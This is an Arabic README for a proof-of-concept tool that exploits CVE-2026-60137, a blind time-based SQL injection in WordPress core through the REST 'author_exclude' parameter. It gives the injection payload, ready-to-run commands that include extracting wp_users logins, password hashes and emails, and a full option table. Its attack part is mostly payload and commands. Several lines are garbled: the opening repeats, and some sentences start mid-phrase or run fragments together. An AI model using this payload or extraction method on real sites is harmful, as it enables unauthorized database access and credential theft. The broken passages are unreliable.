
أداة إثبات مفهوم والتحقق غير مدمرة لثغرة CVE-2026-60137، وهي حقن SQL عمياء في نواة ووردبريس (`WP_Query::author__not_in`)، يمكن الوصول إليها عبر معامل `author_exclude` في REST API.
أداة إثبات مفهوم وأداة تحقق غير مدمرة لثغرة CVE-2026-60137، وهي حقن SQL أعمى في نواة ووردبريس (WP_Query::author__not_in)، يمكن الوصول إليها عبر معامل author_exclude في REST API.
تبني الدالة WP_Query::get_posts() استعلام SQL عبر دمج متغير الاستعلام author__not_in نصيًا داخل:
... AND {wpdb->posts}.post_author NOT IN ( <value> )
تتم تنقية القيمة (باستخدام absint لكل عنصر) فقط عندما تصل كمصفوفة. وإذا تم تسليمها كسلسلة نصية قياسية — فإن معامل author_exclude في REST يُرسم داخليًا إلى author__not_in — يتم تجاوز الحاجز الوقائي is_array()، لتستقر السلسلة النصية الخام داخل جملة NOT IN (...)، مما يؤدي إلى حقن SQL (CWE-89).
حمولة بالصيغة 1) OR SLEEP(6)# تنتج:
post_author NOT IN ( 1) OR SLEEP(6)# )
والتي تُفسَّر على أنها post_author NOT IN (1) OR SLEEP(6) (حيث تبتلع علامة التعليق # رمز ) الزائد) — استدعاء أعمى نظيف معتمد على الزمن دون أي كتابة في قاعدة البيانات.
/wp-json/batch/v1.author_exclude القياسي (HTTP 400) على مسار المقالات الافتراضي، لذا لا يمكن الوصول إلى نقطة الاستغلال عادةً إلا عندما يقوم إضافة أو قالب بتمرير مدخلات غير موثوقة، أو عبر جلسة مصادقة (--cookie) من خلال مسار الدفعات.السكربت cve_2026_60137_poc.py للقراءة فقط ولا يعدّل قاعدة البيانات:
readme.html، وفهرس /wp-json/) للتحقق مما إذا كان الإصدار ضمن النطاقات المتأثرة.SLEEP(0) للتحكم في التحليل مقابل حمولة SLEEP(n)، عبر عدة نواقل تسليم (مسارات REST المباشرة، و?rest_route=، ونقطة نهاية الدفعات)، ويُصدر حكمًا بشأن كل ناقل.wp_users (user_login, user_pass, user_email) عبر توقيت البحث الثنائي الأعمى، باستخدام SELECT/SLEEP بشكل صارم — ولا يكتب في قاعدة البيانات أبدًا.# Fingerprint only, no payloads sent
python3 cve_2026_60137_poc.py --url https://target --safe
# Run the detection matrix
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3
# Authenticated session + extract wp_users row 1
python3 cve_2026_60137_poc.py --url https://target \
--cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1
# Route through Burp, skip TLS verification, save machine-readable evidence
python3 cve_2026_60137_poc.py --url https://target \
--proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json
تُوفَّر هذه الأداة لأغراض الاختبارات الأمنية المصرَّح بها فقط — اختبارات الاختراق، ومسابقات CTF، والأبحاث على أنظمة تملكها أو لديك إذن كتابي صريح لفحصها. تشغيلها ضد أنظمة دون تصريح يعد أمرًا غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
قد يحتوي أي مخرج يُكتب باستخدام --json-out على عنوان URL المختبر، وبصمة الإصدار، وأدلة التوقيت — تعامل معه كبيانات مهمة حساسة.
| المتأثرة | 6.8.0 – 6.8.5, 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| المُصحَّحة | 6.8.6, 6.9.5, 7.0.2 (2026-07-17) |
| CVSS 3.1 | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N → 5.9 (كنقطة استغلال مستقلة) |
| عند الربط | مع CVE-2026-63030 (التباس مسار الدفعات في REST) → 9.8 تنفيذ تعليمات برمجية عن بُعد دون مصادقة على 6.9.0 – 7.0.1 |
| العلم | الافتراضي | الوصف |
|---|
--url | مطلوب | عنوان URL الأساسي للهدف |
--safe | off | البصمة فقط؛ لا يتم إرسال أي حمولات |
--sleep | 6 | عدد الثواني SLEEP() التي يستخدمها استدعاء الكشف |
--samples | 3 | عينات التوقيت لكل قياس (يُستخدم الوسيط) |
--threshold | 0.7 | الكسر من --sleep الذي يُعتبر فارقًا موجبًا |
--extract | off | استخراج صف من wp_users عبر الاستدعاء الأعمى |
--user-id | 1 | قيمة wp_users.ID المراد استخراجها |
--extract-sleep | 2.0 | ثوانٍ SLEEP() لكل فحص استخراج |
--limit | 64 | الحد الأقصى للأحرف لكل حقل مستخرج |
--only-vector | — | اختبار النواقل التي يحتوي اسمها على هذه السلسلة فقط |
--cookie | — | كوكي مصادقة للنواقل التي تتطلب مصادقة |
--proxy | — | وكيل HTTP(S)، على سبيل المثال http://127.0.0.1:8080 (Burp) |
--timeout | 30 | مهلة الطلب بالثواني |
--no-verify-tls | off | تعطيل التحقق من شهادة TLS |
--json-out | — | كتابة الأدلة القابلة للقراءة آليًا إلى ملف JSON |